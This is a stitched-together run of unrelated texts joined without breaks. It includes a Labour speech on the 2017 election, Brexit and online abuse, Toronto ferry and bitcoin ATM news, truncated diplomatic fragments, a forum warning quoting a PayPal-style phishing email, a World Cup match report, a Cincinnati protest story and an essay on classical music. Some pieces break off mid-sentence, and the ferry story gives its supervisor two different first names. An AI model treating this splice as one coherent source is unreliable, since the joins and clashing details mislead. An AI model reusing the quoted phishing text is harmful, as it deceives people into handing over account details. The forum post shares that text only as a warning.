Labour candidates and party members worked hard too to hold on to older voters who were more sceptical. And to win back votes from Ukip.
We won a big increase in support from middle class voters in cities and university towns. We had to work much harder to hold on to working class voters in the coalfields and industrial towns.
People had different reasons for voting for us – for Jeremy, for schools, for an end to student fees, for their local candidates, for the NHS, against Theresa May, against a hard Brexit, for a fairer Brexit, as a protest, for a government, for our values, for our history, out of old loyalties, for a better future.
But that’s OK, because we are – as we have always been – a broad based party. That’s who we are, that’s how we stay.
From our founding over a hundred years ago we were Fabians and trade unionists, Marxists and Methodists, Suffragists and Suffragettes.
Just as we did when our party was founded, we pulled together as a broad based party in this election. We didn’t navel gaze or squabble with each other. We pulled together around Jeremy and Tom and worked together for Labour and for the people who need a Labour government.
And that’s our best chance of reaching out too. All Labour together. Because there will be hard tasks ahead. To convince older voters worried about security or immigration. To withstand the much greater scrutiny Labour will face this time round, on the economy, on Brexit or our fiscal plans.
Now more than ever, when ideas spread so fast, when worlds change so quickly, we need hard thinking and diverse inspiration.
Second, as the Theresa May’s approach to Brexit falls apart, Labour will need to set out a fairer plan.
Theresa May asked for a mandate to do things her own way.
She didn’t get it.
On Brexit she cannot keep pretending that the election didn’t happen. “Nothing has changed, nothing has changed” just won’t cut it.
She is still pandering to the fantasies of the free market right who hate the employment rights and environmental standards in Europe so much they want to ditch the customs union and single market even as a transitional deal.
They dream instead of a future made up of free trade deals without safeguards with far away places. A dream that would be a nightmare for our exporters, our importers, our workers and our planet.
The truth is that getting a good Brexit deal that lasts – that builds consensus on jobs and immigration – will be hard work.
And it can’t be done by a narrow Tory cabal.
They need to start being grown up about this and set up a cross party commission charged with building consensus as well as getting us the best possible deal.
And Labour should be part of it. We can’t sit on the sidelines, too much is at stake
Third, we have to do more to heal the Brexit divide – and that means we have to start talking more about towns.
The new divide between cities and towns is already heavily shaping US politics and economics, and is increasingly shaping European politics too.
We saw it in the Brexit vote – city folk who wanted to remain, town folk who wanted to leave.
We saw it in the election. Urban middle classes, diverse city communities, and university students swung to Labour. Working class voters in coalfields and steel towns swung to the Tories.
In the US, the Democrats won in the cities. But Trump won in towns.
2/3 of the seats Labour must win to get a majority are in towns. We will not get a Labour government as a party just of the cities.
Nor is it who we are. Working class communities in our coalfield and industrial towns built the Labour party. We won’t abandon that heritage and those values now.
Throughout our history we’ve drawn together urban intellectuals and the industrial working class, and the different political traditions they often reflect – both liberals and communitarians, internationalists and patriots.
We need to stand up both for those who care most about freedom and diversity, and those who worry most about security or the impact of immigration on cohesion.
But this isn’t just about political values or culture – there is a very real a economic divide that no one is tackling, so little wonder so many townspeople were attracted by the possibility they could “Take back control”.
Towns are being hit harder by austerity as public services shrink back into the cities and hospitals, libraries, swimming pools, and courts all close. Many of them are being harder hit by economic change, their town centres hit harder by Amazon – losing the old jobs as the new ones emerge somewhere else, lacking the investment that crowds into the cities. But they aren’t benefiting from city devolution deals.
Towns are getting a bad deal from the Tories. But many towns don’t yet feel we speak for them – if we want to win their support we need a clear economic plan to get towns a fairer deal on jobs, investment and devolution too.
Fourth, we need to make sure our new politics is inclusive and compassionate.
Across Western democracies we’ve seen new passion and energy in politics itself.
A yearning for change in the face of injustice and austerity. A yearning for bold answers in an age of uncertainty. A yearning to take back control when all seems distant and impersonal.
And all of it on steroids thanks to the empowerment, creativity and networks of social media – spreading ideas fast, giving everyone a voice in public debates, mobilising millions around causes from the WASPI women on Facebook to the Twitter crowds sending birthday wishes to a young boy called Olly who was being bullied at school.
All creating a new, restless, dynamic politics. Challenging old institutions, challenging complacency, demanding change.
It is inspiring. And we’ve seen its strengths. Young people voting like never before. Communities coming together to show solidarity in the face of extremist attacks.
But there’s also a darkness at the edge of the new restless politics and the social media debates.
When passion turns into poison exploited by people like Donald Trump. When anger turns into inchoate rage.
And when the challenge to old institutions and failed traditions is turned instead into the undermining of our democratic rights.
The leader of the free world built his campaign for the Presidency on vitriol and abuse. The aggressive misogyny, the violent language towards Hillary Clinton, the islamophobia, the xenophobia, the hatred.
And he hasn’t stopped since he got into the Oval Office. Launching personal attacks on Sadiq Khan during the London terror attacks. On women journalists – for breathing and bleeding.
Abuse and vitriol that should be pushed to the margins of political debate. But instead is being pushed right to its heart.
And it is not just the abuse. Mr President is using 140 characters each day to undermine the safeguards in democracy.
Threatening CNN and the rest of the independent media that might hold him to account.
Attacking the independent judiciary that force him to abide by the law.
These aren’t just harmless rants from a sad man in his bedroom.
This is the bully pulpit of the most powerful man on the planet, broadcast direct to millions of people, echoed and amplified by the Breitbarts, the cheerleaders, the echo chambers.
We are treating this as the new normal.
We are forgetting to be disturbed any more.
Outrage? It’s so overblown.
The British prime minister delays condemning the attacks on the London Mayor.
The British foreign secretary applauds Trump Tweets – says they engage people.
So that’s alright then?
We are normalising a level of vitriol and violence in our lives.
Normalising hatred. Undermining the values of democracy.
Here too, we’ve seen the poison targeted at some on social media.
Worse for women. Worse if you are gay. Much worse if you are black, Muslim or Jewish.
Silencing people because of who they are. Escalating hatred and contempt for others. Driving people out of political debate.
In politics, some of the worst and vilest abuse has been targeted at Diane Abbott – who has bravely spoken out against the racism, misogyny and violent threats. For years she has challenged prejudice, smashed through glass ceilings, only in the age of social media to see an escalation of appalling abuse.
Luciana Berger bombarded by antisemitic abuse online and facist threats – powerfully testifying in court while pregnant against the person who harassed and racially abused her before he was sent down for 2 years.
There’s more.
Stella Creasy told “hopefully you will join that woman Cox”
I’ve seen racist vitriol targeting black and Asian Tory MPs too.
And it’s not just those in politics
Even more troubling is when people in all walks of life are targeted with abuse, threats, racism or misogyny just for who they are.
Its why we set up Reclaim the Internet – inspired by Reclaim the Night in the early 80s – to challenge the abuse so every voice can be heard.
And frankly I am sick to death of the vitriol poured out from all sides towards Laura Kuenssberg
It is her job to ask difficult questions. It is her job to be sceptical about everything we say.
Nothing justifies the personal vitriol, or the misogyny. It’s straight out of the Trump playbook.
And as with Trump, it is part of a wider attack on the very institutions we need to sustain our democracy.
Institutions like the BBC which save us from the demagoguery of tyrants or the megaphones of media moguls
Now facing a frenzied level of criticism
From Andrea Leadsom and Liam Fox accusing the BBC of lack of patriotism for asking questions on Brexit
From Alex Salmond accusing the BBC of running Scotland down
And from all sides – including many in Labour – for systematic bias.
In a world of fake news, whether we agree with them or not, we need independent, impartial news broadcasting more than ever.
And it’s time we did the unfashionable thing and started defending the BBC.
But here’s the difficult thing we have to face
The attacks, the abuse and the attempts at intimidation don’t just come from the right.
Sometimes our party members and supporters target each other.
Frankly Labour Party members should be united in supporting Luciana not targeting her or trying to intimidate her. Unacceptable always in the Labour party. Utterly shameful against someone who has stood up to facists, someone who is on maternity leave.
Nor is there any excuse for vitriolic abuse against our opponents. During this General Election campaign some Tory women MPs and candidates were targeted with unacceptable personal abuse from the left.
And we’ve seen Labour supporters at rallies holding placards with the severed head of Theresa May.
Maybe it was meant as a joke. It isn’t funny.
I’ve spent 20 years opposing Theresa May. 20 years challenging almost everything she’s done. I feel huge anger at what she is doing to this country. But I never ever want to Labour people mocking up pictures of her head on a stake. I never ever want our party to dehumanise our opponents. That’s what the far right do.
It’s what the Trump cheerleaders did to Hilary Clinton. It’s the normalising of vitriol and hatred that if we let it go on corrupts our democracy, undermines human kindness and respect.
And in the Labour Party we should know. Because we’ve already lost someone to hatred.
Above where we sit in parliament is a coat of arms with suffragette colours, a Labour red rose, and a Yorkshire white rose, a coat of arms for Jo Cox.
Jo who reminded us that we have more in common.
And here’s the thing.
Aggression and hatred towards others isn’t what won us votes in this election. And it isn’t what has won us growing support we’ve seen in the polls since.
Quite the opposite.
What struck people about Jeremy Corbyn when he went to Grenfell Tower was his empathy and compassion.
I believe there is a real appetite now for the politics of kindness and humanity. Jeremy understood that two years ago when he talked about the kinder, gentler politics.
It should be at the heart of what we stand for – as the party that fights against cruel Government policies and injustice. We can fight for our values without vitriol, stand up against bullies wherever we find them. For us anger is the well-spring of change, not of mindless abuse. We can disagree and debate both within our party and without and still show some kindness and respect.
These are the values of democracy. And frankly they are the values we need if we are to pull the country together, build a consensus for the plans and policies we care about, and find a pathway to power for a fairer Britain.
Because it really matters.
Last weekend, while chatting in the street to a man in his early twenties, he told me how optimistic and excited he felt about politics.
Two hours later a man in his late forties with similar politics, similar values, told me how worried and pessimistic he felt.
The older man worried about what the Government was doing, and feared things falling apart. The younger man optimistic at the possibility of change.
The Tories can’t help either of them right now – can’t reassure the pessimists or satisfy the optimists. So we must.
The Tories lost their mandate and sense of purpose.
The country wants change – the Tories can’t deliver it, we must.
The country wants a fair Brexit deal – the Tories can’t deliver it, we must.
The country wants a sense of cohesion, purpose, towns and cities together – Tories can’t deliver it, we must.
And the country wants new politics they can be part of – optimistic, hopeful, Britain at our best. Labour at our best.After spending $5 million for ferry upgrades that had unintended negative consequences, Toronto’s cash-strapped parks department is now planning to put aside money to replace the aging fleet altogether. The Parks, Forestry and Recreation division, which began managing the Toronto Islands ferries following amalgamation in 1997, is developing a “fleet replacement strategy” — a fund to buy new boats — after being told earlier this year that its ferries were too old to run at full capacity.
It was a stormy summer on Lake Ontario with the application of new regulations that initially cut the service's two main ferries' capacities in half. ( STEVE RUSSELL / TORONTO STAR ) Howie White, 38, took over as the City of Toronto's marine services supervisor in June 2011. Since then, he has worked to create a replacement strategy for Toronto's fleet of aging ferries. ( NIAMH SCALLAN / TORONTO STAR )
According to marine services supervisor William White, the division recently committed to setting aside $250,000 to $1 million each year to fund new ferries, which cost about $8 million each. The department is also exploring “all other opportunities” to help fund the replacement, which White described as long overdue. More:Toronto Islands ferry passenger limits eased
Article Continued Below
New federal marine safety standards force Toronto ferries to carry fewer people “All the vessels are old. They were designed and built to do their job well in the 1930s. However, with modern demands being placed on them... this needs to happen,” said White, who began his job with the city in June 2011 and has since become a strong advocate for buying new ferries. Last spring, Transport Canada ordered the department to limit passenger loads on the Sam McBride (built in 1939) and the Thomas Rennie (1951) — the city’s two main island ferries — nearly in half to comply with new federal marine safety standards. Before the upgrades, the ferries ran under a grandfathered clause that exempts some older ships from current regulations. But Transport Canada legislation says that an aging vessel that gets a major capital investment loses that grandfathered status. The ferries had their legal capacity slashed from 974 passengers each to 524. Negotiations with Transport Canada in early July — at the height of the island-going season — got that bumped back up to 736 passengers each, about 85 per cent of their 2011 levels.
Even with that concession, the restrictions sparked a stormy summer of lengthy passenger queues and concern that not enough had been done to keep up with growing demand. Until earlier this year, the parks department had not been saving toward replacing its fleet.
Article Continued Below
Waterfront parks manager James Dann said the department traditionally put its money toward seasonal ferry upgrades to comply with federal regulations. In 2009, it put $5 million toward new engines for the Thomas Rennie and the Sam McBride — the move that triggered this year’s capacity restrictions. The city was unaware of the consequences when the upgrades were done, he said. “Potentially, had we known some of the legislation was coming through, we may have saved that (money) and put it into a fleet replacement.” Dann described the ferry operation as “a bit of a square peg in a round hole” in terms of how it fits into the parks department’s mandate. Most of what the department buys relates to parks, and its regular replacement strategy usually involves Zambonis, trucks, mowers etc. — not $8-million ferries. “We’re in a time where it’s not an easy thing to come across $5 million or $8 million per boat,” he said. “It’s a big ‘ask.’” Councillor Pam McConnell, whose ward includes the islands, questioned why ferries are managed by the parks department and not seen as an essential transportation service. She said the city’s attitude toward the ferries operation, treating it as an “add-on sidebar,” has resulted in a service unable to meet demand. McConnell called the Transport Canada restrictions a wake-up call. “This kind of neglect is shameful,” she said. “I have been yelling about this at council forever and it just falls on deaf ears... council and councillors have taken this service for granted. They have not invested in it.” Rafik Jaffer, a 63-year-old marine coordinator who has worked on Toronto’s ferry docks for 24 years, agreed that long queues have been an issue for years. The recent capacity clampdown, coupled with rising downtown population and a growing demand, has put the situation in near-crisis mode, he said. In 2011, the fleet could transport 3,453 passengers at a time. Now it’s limited to 2,892 passengers — not nearly enough, according to Jaffer. “We are on the forefront here … we see it,” he said, noting the deluge of complaints over ferry wait times directed at operators. “And I understand their grievances.” White hopes to have enough money eventually to standardize the fleet, with three sister passenger ferries and one vehicle ferry — enough to meet demand. “This little operation should really be the crown jewel of the City of Toronto,” he said. “It has to happen.”ATM’s have been around for a while now, but this one in a humble coffee shop in Vancouver, Canada can lay claim to being the world’s first cash machine for bitcoins.
The online currency, invented by an anonymous computer programmer about four years ago is now starting to gain mainstream acceptance.
Cheyne Mackie is the Co-Founder of Bitcoiniacs, the company that brought the ATM to Vancouver and now wants to roll the model out. He said: “Our target audience will be everybody. We want to make it easy for my mum, my grandma, my aunt and my brother to come down and buy and sell bitcoins.”
And business take-up is increasing, especially as they compete for the attentions of a younger, tech-savvy demographic.
But there are concerns that drug trafficking and money laundering could take place online. Over twenty million euros worth of bitcoins were seized from the owner of ‘Silk Road’, a site where drugs and other criminal activity could be bought and sold using the virtual currency.Prime Minister Benjamin |
the two sides, concerning combatting cyber-crimes, have reached a lot of consensus. Going forward, we need to, at an early date, reach further agreement on them and further put them on the ground.
Thank you.Hi,
I've just had an email claiming to be from here about my account being disabled for suspicious activity that seems to be a phishing scam. Just wondering if they've got my email from here or if it's just a lucky guess...
Anyway, thought people should be on the look out.
On the off chance it's geniune... well I suppose I'd like to know what I need to do (though I really doubt it is geniune)
Here's the text of the email (minus the dodgy link at the end, just so no one accidentally clicks it)
___________________________________
Your Acount is disabled for the purposes of security
Dear Customer., While the audit team is reviewing your Acount,
they discovery strange activity or deceptive or fraudulent and based upon,
The team disable access to your Acount until your review for this strange activity and respond to it
What is the problem in detail?
1. You have more than one Peypal with a negative balance; or
2. You provided information that we believe was false, inaccurate, or misleading; or
3. You sent or received money that was potentially related to fraudulent activity; or
4. You are in violation of the User Agreement, the Commercial Entity
Agreement, the Acceptable Use Policy, or another agreement you have with us.
What is the solution?
To resolve this issue, you must log on to the site of the page devoted to verify
which is attached at the bottom of linked
and write your lnformation in a full
Thank you for give us your time
Apologize for any annoying
Kind regards
17/11/2015 03:40:06CAPE TOWN, South Africa — Portugal put on the most dominant performance of the World Cup, routing North Korea 7-0 on Monday and eliminating the Asian nation from the tournament.
Simao Sabrosa, Hugo Almeida and Tiago scored over an eight-minute span in the second half, after Raul Meireles' 29th-minute goal gave Portugal the lead. Substitute Liedson added another in the 81st.
(SCROLL DOWN FOR PHOTOS FROM THE MATCH)
Cristiano Ronaldo ended his goalless streak the 87th minute, and Tiago added his second goal two minutes later. Ronaldo had not scored for his nation in a non-friendly match since the 2008 European Championship.
The win moves Portugal into second place in Group G with four points, two behind Brazil. The Ivory Coast has one point, and North Korea can't advance in the tournament after two straight losses.
"This is a great result for us," Portugal coach Carlos Queiroz said. "We have to continue now."
North Korean state television aired live coverage of the Portugal match, in what was believed to be a first for a North Korean soccer game taking place abroad.
It was bad timing.
North Korea had early chances, but trouble began when Meireles latched on to a clever pass by Tiago and gave Portugal its first goal of the tournament. The score seemed to deflate the Koreans, while the Portuguese finally began to show some of the Latin flair that has made them an outside favorite to win their first championship.
"Tactically speaking, we fell apart and we couldn't block their attacks," North Korea coach Kim Jong Hun said. "It was my fault for not playing the right strategy and that is why we conceded a lot of goals."
Meireles assisted on Simao's goal in the 53rd minute, which went through the legs of North Korea goalkeeper Ri Myong Guk. Almeida scored three minutes later from a powerful header, and Tiago knocked home a pass from Ronaldo in the 60th.
Liedson scored off a defensive error, before Ronaldo ended a 16-month goal drought for his country with a simple finish after the ball fell to him.
"It was important to score goals today," Tiago said.
Played in a steady downpour, the wet field at Green Point Stadium caused errant passes as many players lost their footing.
North Korea named the same lineup as the one that impressed in a 2-1 loss to Brazil, while Queiroz made four changes from the team that was held to 0-0 draw by Ivory Coast.
Tiago replaced the injured Deco in midfield, with Almeida and Simao joining Ronaldo up front. Miguel Brito was chosen ahead of Paulo Ferreira at right back.CINCINNATI (WKRC) - Two protests that joined together moved through the city of Cincinnati after the mistrial in the Ray Tensing murder trial. While officers were very visible throughout the protests, others were not and that is credited with keeping the protests peaceful.
"We came out shining as a city that protects first amendment rights to protest but keeps the peace and safety of the city. We have too much progress in our city to see it lost," said Mayor John Cranley.
It took months of planning, practice, and past experience for Cincinnati Police to allow protesters to have a voice, and keep the peace at the same time.
City leaders think other cities are looking at Cincinnati Police strategy that put bike officers on the front lines.
Two protests became one on Saturday. Anti-Trump demonstrators merged with protesters in front of the courthouse, demanding a new trial for former U.C. cop Ray Tensing after his murder trial ended in a mistrial.
City leaders and police met with community leaders for months about what might happen on verdict day. Things had gone bad during anti-Trump protests in some other cities. "No intent to disrupt or break up the crowd keep the crowds safe but let voices be heard," said Pastor Ennis Tait.
"Our police department (is the) best in the business. They were looking at the best practices around the country and seeing where other cities lost control of crowds."
In many cities, police wear riot gear for protests, almost asking for a challenge. Now look at Cincinnati Police on Saturday. Bike cops rode with protesters, encouraging them to stay on the sidewalk. Then they created a sort of bike rack to keep them from moving onto the freeway. "With a healthy respect for the need to bend but not break mentality, giving people some space to express themselves but making it clear we have a responsibility to protect people and property," according to city manager Harry Black.
Blocks away, just in case, the Civil Disturbance Response Team was on a Metro bus, ready to move in if necessary. It never was necessary. "You can maximize presence without coming at it in a real hard way."
Only one protester was arrested Saturday. Police say a man threw himself onto an occupied car on Fifth Street. Officers didn't arrest him until the protest reached Washington Park. They were able to pull him out of the crowd, without drawing attention to the arrest.
Protesters seemed to want peace, as well. It seems in Cincinnati, no one wanted to repeat the riots of 2001 after the police killing of an unarmed black man. On Saturday, the feeling seemed to be that we've come too far to go back.
There is another anti-Trump rally scheduled Nov. 19. Prosecutor Joe Deters hasn't said if there will be another Tensing trial.Classical music: Why bother? A composer and Harvard professor wonders whether his craft has been left behind by a world with no patience for Great Art.
If recruiting for composers were done in the want ads, nobody in their right mind would sign up.
WANTED: Contemporary "classical" music composers. Preparation should ideally begin before age 7. At least 15 years of eye-straining, backbreaking, unpaid or even costly efforts will eventually be met with, at best, hostility or, more likely, with indifference. Financial prospects vary from nonexistent (in many cases negative) to mediocre. Only one out of several thousand applicants need even dream of a subsistence income from their music. Potential bonus: A small percentage of applicants may be offered greater financial security in return for training future postulants in a well-organized and highly successful structure similar to that of a pyramid scheme.
Advertisement:
Yet in spite of the seeming irrationality of the choice, an unending stream of young men and women consecrate themselves to writing a sort of music that they know from the outset will never be popular, for an audience that does not want what they have to offer. Maybe it's like what they say about cigarettes: Unsuspecting youths are lured in before the age of rationality. Or maybe all kinds of lies and false promises are made. In any case, this curious situation deserves closer scrutiny.
There are lots of discussions in the world of "serious," "classical" or "concert" music (whatever you want to call it) about the so-called rupture between composers and audiences. Much of the writing about this rupture falls into the following seven broad categories:
1) Composers attacking audiences for not making the personal investment necessary to "understanding" their art.
2) Critics bemoaning the inaccessibility of today's composers.
3) Critics lauding one or another newly arrived "revolutionary" composer, whose revolution usually consists of using the classical instrumentarium to produce works that sound like pale imitations of popular music, or like something a particularly hopeless student of Brahms might have come up with. (Pandering is considered both positive and progressive in this context. It's like lauding as revolutionary a sex therapist who advocates "rediscovering the missionary position.")
4) "Serious" critics beseeching listeners to make the personal investment that the composers mentioned in Category 1 just berated them for not having made up until now.
Advertisement:
5) Pessimistic pieces about the future of "classical" music, usually citing the poor demographics for season-ticket holders or donations to major musical organizations.
6) Optimistic pieces hailing some organization or composer's marketing efforts that seem, at least temporarily, to have successfully hoodwinked some sought-after market segment (usually young concertgoers). In the saddest version of this story, part of the ever diminishing resources dedicated to culture are expended on a multimillionaire rock star performing pop tunes with orchestral accompaniment in a so-called effort to reach new audiences. (Perhaps this outreach is effective in winning some orchestra patrons over to pop music.)
7) The ever popular "human interest" profile, apparently meant to convince us that if the composer is likable, hating the music is somehow petty.
While potentially interesting, none of those approaches gets to the heart of the matter. I would venture that the real issue at hand is not the music itself and that therefore no stylistic discussion -- no matter how intellectually probing or unabashedly populist -- will address the underlying subject: the position of art in contemporary society. Now, talking about art is almost as hard as talking about music (which is essentially impossible). But we can't address either the reasons that composers are drawn to writing this type of music or the reasons that audiences reject contemporary works (or are totally indifferent to them) without confronting the A-word head-on.
Advertisement:
By focusing on the blame game -- is it the fault of the composers or the audiences? -- we ignore a fundamental difference between what composers think they're offering and what audiences think they're getting, or think they should be getting. Traditionally, most composers have held a deeply felt, almost religious belief in "Art." I know I do. This is what leads us to the profession despite the unpleasantly poor hourly wage it brings most of us.
We believe that if through determination, hard work and talent, we are able to make truly great works of art, sooner or later people will grapple with these works, come to see their value, and develop the sense of awe we feel in the presence of true masterpieces.
This is not to say many composers are certain that they themselves are writing masterpieces. The belief has more to do with the possibility of masterpieces and a confidence that such works will inevitably, even if belatedly, be recognized. Ultimately, we share what some may view as an embarrassingly corny and idealistic view of art: We believe it enriches the world, whether or not the world knows or cares. This belief depends on the idea of intrinsic value.
Advertisement:
Faith in the value of art depends on a second, less obvious, premise, just as most religions' beliefs in a divine creator are predicated on a belief in an immaterial human soul. To believe in art, one has to believe in abstract criteria of worth or value. This notion, which is profoundly out of fashion today, has formed the underpinning of artistic endeavor in the West for a long time.
Here's what I mean: A great work is still great even if fashion or society or the cultural institutions of the time reject it entirely. There are essential qualities in the form, shape, phrasing, ideas and a million other harder-to-isolate elements of the piece that, when combined, will ultimately determine the worth of the art object -- its greatness or lack thereof.
Franz Kafka died virtually unknown, a total failure. But he was a great writer even before his work was discovered by posterity. A Rembrandt hanging in the forest would still be great, even if no one ever got to see it. Partisans in the "culture wars" of the 1980s and early '90s tried to attack these notions, but that battle mixed up the issue of what should be in the canon of great art with the question of whether there should be a canon at all.
Advertisement:
If one believes in the intrinsic value of art, then -- contrary to most contemporary ways of thinking -- taste and social construction are of decidedly secondary importance. Composers often speak of pieces being well constructed or clever, sometimes even brilliant, and then go on to say that they don't particularly care for them. This is because personal preference is seen as being much less important and enduring than these other, harder-to-define criteria. Even real Shakespeare-haters are unlikely to criticize the quality of his verse. We can all feel the genius even if we are not all sensitive to its charms (or at least this is what I tell myself).
Some composers may be bristling at this point and muttering that they are not so cavalier as to completely disregard public taste and societal demand. They may believe this, but ultimately they are wrong. If taste and society were their real yardstick, then the Billboard Hot 100 would be the true arbiter of worth and value (in the non-economic sense, as it already is in the economic sense). Let's face it, any "classical" composer holding that view is in the wrong business.
This is not to say (as some have done) that success is incompatible with cultural value. It is merely to say that the worth of a work is either intrinsic to it and therefore completely independent of its commercial success (as I believe), or it's determined entirely by its social reception, in which case any flash-in-the-pan boy band is "better" than just about any "classical" composer.
So while an individual composer may feel he is considering both his audience and posterity, the work will ultimately be valued on its intrinsic merits alone. Whether they were achieved in an effort to please audiences or provoke them will become irrelevant.
Advertisement:
When we look at our system of cultural production and delivery, we realize that it was shaped by this belief in the intrinsic value of art. Museum curators, artistic directors, ministers of culture, music directors and other chattering-class nabobs exist to sift through the masses of mediocre work and find those with real quality. This is almost the inverse of the pop-music or market-oriented system, where music is played for demographically sorted focus groups, and -- presuming the sampling techniques are adequate -- it's immediately obvious what's a hit and what's a flop.
Over the last few decades, however, even the most revered cultural institutions have been affected by market-think. Selling art these days requires a marketable theme, a marquee name, sex appeal and advertising sponsorships. Most major symphony orchestras now give their marketing directors the equivalent of veto power over the music directors. Album covers of new releases by classical soloists offer a panoply of beefcake and cheesecake. The Web site for talented young violinist Hilary Hahn looks as if it might be publicizing a new show on the WB about a beautiful teen violinist and her struggle to balance the rigors of art and worldwide touring with teenage life. (I want credit if that actually becomes a series.)
Anyone looking at those photos and the seasons now offered by classical music institutions has to wonder whether those involved are still listening for the next great performer who will transform how we hear, or whether they're just looking for a strapless gown or a bad attitude. Of course, this sort of thing exists all over the cultural world. Does anyone believe that the Guggenheim Museum's exhibits on motorcycles or Armani fashions are driven by anyone's conception of intrinsic value?
This situation is the inevitable result of an unwillingness on the part of the public to take someone else's word -- the word of an "expert" -- on whether something is worth seeing or hearing. Today we want to decide for ourselves. "Choice" is the buzzword of our times; how can one object to it without seeming to be some sort of arch-reactionary snob who wants to force his taste on others? But there's the rub: The whole market-driven system is predicated on a basic belief incompatible with the idea of intrinsic value or worth.
Advertisement:
Technology magazines predict a day when we will shape a movie as it unfolds, giving it the ending we want, concentrating on the characters that interest us most, and generally making it into a movie designed for each viewer. How wonderful: We'll all be the artists shaping our own artistic experience.
Marcel Duchamp and John Cage taught us that a toilet seat or traffic noise could be appreciated aesthetically. So why not shape sculpture into what we want to see, or a piece of music into exactly what we want to hear? If we accept the market's basic assumption -- that the customer is always right -- then this can only be a positive development. My fear, however, is that rather than free the artist in everyone we may be eliminating the place for art altogether.
What happens if there are truly intrinsic values, or if we at least believe that there are? This view, which has dominated our culture until quite recently, led schools to force children to read Shakespeare and college students to read James Joyce. The idea was that whether they enjoyed these works or not, the works were somehow important.
Even in the United States (one of the few countries that do not see the need for a cabinet-level guardian of culture), presidents invited orchestras to play for them whether or not they liked orchestral music. John F. Kennedy had an aide who told him when to clap so as not to embarrass himself. Families dragged children to operas, museums and ballets.
Advertisement:
Furthermore, the idea of intrinsic value was by no means limited to "high culture." Guys tried to impress their dates by taking them to jazz clubs instead of going to hear a Bee Gees cover band. Rock fans who aimed at sophistication sought out more ambitious "underground" music and were quick to display their highly developed tastes to their friends. Liking the most popular or accessible group was often seen as a sign of superficiality. Generally people felt that if they got nothing out of "difficult" art or literature, the problem was likely their own. After enough time, some and perhaps even many people made it over the hurdles and came to love it, whether "it" was John Donne or Richard Wagner or John Coltrane.
On the other hand, what happens if there are no intrinsic values, or if people act as if there were none? Then it's a waste of time to grapple with much of anything. People will need to have a wide menu of choices. If something doesn't satisfy them, they'll flick to another channel, and if there's nothing good on any channel, the search itself becomes the program. The father of the current U.S. president was known to prefer the Beach Boys to the Philharmonic and saw no need to pretend a love for high culture: If he didn't like broccoli, he just wouldn't eat it.
The lesson that has been taken from Cage and Duchamp is that if traffic noise and toilet seats are equal to Mozart and Rembrandt then so are Garth Brooks and black-velvet Elvis paintings. This view quickly leads to taste being the only legitimate arbiter. In the cultural realm this rapidly leads to the downward homogenization of taste toward the least common denominator, a phenomenon that makes almost everyone vaguely uncomfortable.
But even in a techno-utopian future where content on demand lets each person's taste be perfectly satisfied -- those who like Schoenberg and those who like Billy Ray Cyrus -- there may not be any place left for art. Art is not about giving people what they want. It's about giving them something they don't know they want. It's about submitting to someone else's vision. This is hardly ever discussed these days.
Advertisement:
The lesson I take from Cage and Duchamp is not that all art is equal, but that all art demands that we surrender our vision to the artist's. Duchamp dares us to see the beauty he found in the toilet seat. Cage tries to force us to turn the same ears to traffic noise as we would lend to Mozart. They both know that art is a team effort between artist and audience and that the latter half of that pair needs help in understanding the importance and nature of its role. This is not to say that either Cage or Duchamp is a great artist, necessarily, but that they both understood how difficult it is to engage with art.
Some of us, even in this day and age, may have waded through "Finnegans Wake" or "Remembrance of Things Past," but how many would go through works of that difficulty if we suspected that in all likelihood they were just complex crap (as is inevitably the case with new art)?
That's what I said: Most art is crap. This may be a shocking idea to many people. We think of art as the great masterworks we know, and it's very easy to forget the mountains of mediocrity that were sifted to lift Bach or Dante or Emily Dickinson to their Olympian heights. I have heard people suggest that somehow the gene pool has been diluted to the point that no more Beethovens are possible (this suggestion actually came from a composer). What they forget is that Gioacchino Rossini was arguably more famous than Beethoven in the early 19th century and that a French opera composer named Giacomo Meyerbeer was much more popular than his rival, Richard Wagner.
In almost any era, the sheer mass of bad or mediocre work tends to dwarf the good or great works. This can lead us to assume that the past was somehow better, since we kept only the best parts and threw out the crap. I would venture to say that there have probably been more masterpieces created during the past 20 years than there were in the last 20 years of the 19th century (an easy bet, since the population is so much bigger now). We just haven't finished sorting the gems from the garbage yet.
Advertisement:
Imagine having to go through a collection of the10 million paintings -- probably a low estimate -- done last year by everyone from famous artists to unknown talents to my grandmother (who recently started painting as a retirement hobby). Even if you knew there was a new Picasso in there somewhere, which of course you wouldn't, how would you keep your eyes fresh enough to see it? And once you stopped believing that there was anything all that special to be found, why would you bother?
If no one is willing make this effort, most great new works will never be found at all. Difficult works, like those of Joyce or Proust (or Schoenberg or Messiaen) will become all but impossible to discover, and perhaps also to produce as well.
This was why culture became an undemocratic realm in the first place, and why attempts to democratize it may bear unwanted side effects. To find great art, we need people who are able and willing to go through those 10 million paintings on the off-chance of finding one masterpiece. This screening process means that when you or I decide to spend time on art we can reduce our choices to works that have already been evaluated and recommended. Someone -- presumably someone who has demonstrated knowing more about these things than we do -- thinks they are worth spending time on.
I'm not saying the system was ever perfect. Individual people will always try to advance their friends and punish their enemies. But the pressure not to be left out of an important trend, and the desire to find the next big thing, forced some degree of integrity and openness in even the most corrupt of art administrators. Ultimately, it was in their interest to promote as "great" things that truly were great.
But when the so-called authorities themselves buy in to the idea that nothing is intrinsically worth more than anything else, they become a negative force. They're no longer trying to find great works and expose them to the public; they're just hoping to impose their tastes, promote their political or social agenda, or simply get rich and famous.
I believe the same thing is happening in more popular art forms like jazz or film or some kinds of pop music. Perhaps because these forms don't make quite the same outrageous demands on their listeners and viewers -- and I mean that in the best possible sense -- the process doesn't seem to be as far along. Still, around the world Hollywood movies increasingly dominate the market, driving the various traditions of art cinema to the margins. Jazz, which can require an enormous amount of knowledge to appreciate fully, seems to be fighting for its survival, in constant danger of becoming little more than upscale aural wallpaper. There seem to be fewer and fewer hardcore buffs eager to scour the local clubs for another Coltrane or Miles Davis.
In jazz and rock, the work itself and the performance of it are joined in a way that is quite different from the case in literature or classical music. That relationship may blur some of the distinctions I have been making, but I don't believe it fundamentally alters them. When high school students start broadening their record collections and searching for more adventurous artists they haven't heard before, they do so because they believe that great things are to be found out there. Once that belief disappears, turning on top-40 radio or MTV will be enough.
Real art cannot be an act of manipulation or marketing, but only an act of faith. Faith that great art is something remarkable. Faith that someone, somewhere, sometime might make the effort to understand what an artist has to offer -- and not merely seek what is already known.
Make no mistake, the surrender required by art (even the most accessible art) is hard. Maybe we're no longer willing to make such efforts. There are so many things we could be doing instead. The two hours spent in a concert are two hours we could have been eating a good meal, making love, surfing the Internet or watching TV.
